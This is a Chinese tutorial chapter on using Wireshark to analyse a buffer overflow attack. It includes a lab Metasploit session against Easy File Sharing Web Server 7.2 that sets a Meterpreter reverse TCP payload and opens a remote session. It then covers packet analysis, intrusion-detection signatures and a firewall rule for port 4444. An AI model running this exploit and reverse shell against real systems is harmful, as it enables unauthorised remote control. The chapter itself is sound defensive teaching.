11. 使用wireshark分析缓冲区溢出漏洞
本文内容:
- 缓冲区溢出攻击的相关理论;
- 模拟缓冲区溢出攻击;
- 使用Wireshark分析缓冲区溢出攻击;
- 使用Wireshark检测远程控制;
- Wireshark数据包查找功能
11.1缓冲区溢出攻击的相关理论
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出进行攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,攻击者可以利用它执行非授权指令,甚至可以取得系统特权,进而执行各种操作。考虑到目前大量的应用程序都使用了B/S结构,而这种结构正是使用HTTP协议进行通信的,所以我们首先来了解一下HTTP协议的相关知识。
11.1.1 HTTP的请求与应答
HTTP数据的传输过程也并不复杂,当我们在浏览器(例如火狐)的地址栏中输入了一个地址并按下回车键之后,浏览器会向目标服务器发送一个请求,当服务器收到这个请求之后,就会将一个网页回传给我们的浏览器。
这里面的请求和回应都是遵循HTTP协议的,浏览器发送和接送的内容如图所示。图中给出的是将多个数据包组合之后的结果,这其实和我们平时所看到的内容相差不大了,上面方框的部分是请求,下面方框的部分是应答。整个一次通信可以算是一个流,可以使用追踪流的方式来查找一次通信的其他数据包。
11.1.2 HTТP 的请求与应答
HTTP协议的内容比较多,包括Request method, host,User-agent等,只介绍其中比较常用的Request method,这个字段常见的值有如下几个:
- GET请求获取由Request-URI所标识的资源;
- POST在Request-URI所标识的资源后附加新的数据;
- PUT请求服务器存储一个资源,并用Request-URI作为其标识
- DELETE请求服务器删除由Request-URI所标识的资源。
host字段,是为了区分同一个ip,同一个端口中的不同网站。
过滤器应用:
想看get请求的数据包:
http.request.method=="GET"
想看数据包中是否由用户名密码:
http.request.method=="POST"
,一般用户名密码使用post传输
11.2模拟缓冲区溢出攻击
我们以一个在国外很流行的文件共享软件Easy File Sharing Web Server7.2
(可以在网上下载到)作为实例,这个工具通过HTTP协议提供文件共享功能。这里有漏洞的应用程序是简单文件分享Web服务器7.2 (Easy File Sharing Web Server 7.2)
这个软件对用户名长度不进行校验,存在缓冲区溢出。
- 在服务器中打开软件
- 可以在kali中访问到
- 进行攻击
进入msf,一个漏洞渗透集成框架,有针对各种软件的攻击模块
- 搜索有没有针对这个软件的攻击模块
- 使用这个模块,2015年的这个
msf5 exploit(windows/http/easyfilesharing_seh) > set payload windows/meterpreter/reverse_tcp //设置选择木马
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/easyfilesharing_seh) > set lhost 192.168.159.128//设置源地址
lhost => 192.168.159.128
msf5 exploit(windows/http/easyfilesharing_seh) > set rhost 192.168.159.132//目标地址
rhost => 192.168.159.132
msf5 exploit(windows/http/easyfilesharing_seh) > set rport 80//设置目标端口
rport => 80
msf5 exploit(windows/http/easyfilesharing_seh) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.132:80 - 192.168.159.132:80 - Sending exploit...
[+] 192.168.159.132:80 - Exploit Sent
[*] Sending stage (179779 bytes) to 192.168.159.132
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.132:49159) at 2020-02-02 03:42:17 -0500
- 成功建立连接,接下就可以执行各种命令了
11.3分析缓冲区溢出攻击
找到http数据包
分析数据包来计算缓冲区长度
追踪流——http流
蓝色部分都是实现让缓冲区溢出的字符,后面的是木马
复制出去,查看长度
11.4 使用Wireshark检测远程控制;
继续看下面的数据包,一般服务器是不允许主动连接的,但出现了个主动连接的包,132是服务器,129是客户机,很反常,如果出现这种数据包可以判断中了木马。
整个流程是:攻击者启动模块,缓冲区溢出请求中带了一个小马,小马过去执行,打开1070端口,并给客户机发送请求,再发一个大马,接下来就可以通过大马控制服务器了
如果我们知道有漏洞了,还必须得用,怎么办呢?
把特征即加入入侵检测系统特征库中,我们分析它的特征:
- get请求
- 4061个字符
- http1.0结束的
用防火墙可以把来自4444端口的数据包都丢弃了,记不住acl命令,wireshark自带帮助
可以选择各个设备
但这个只能解一时问题,对方采用端口映射技术就没用了。
11.5数据包查找功能
点击放大镜,就会出现查找的工作栏
有四种模式
这里的显示过滤器,符合条件的会一个一个找
十六进制:可以查找数据包里的16进制值
字符串:可以指定分组范围,数据包里包含的字符串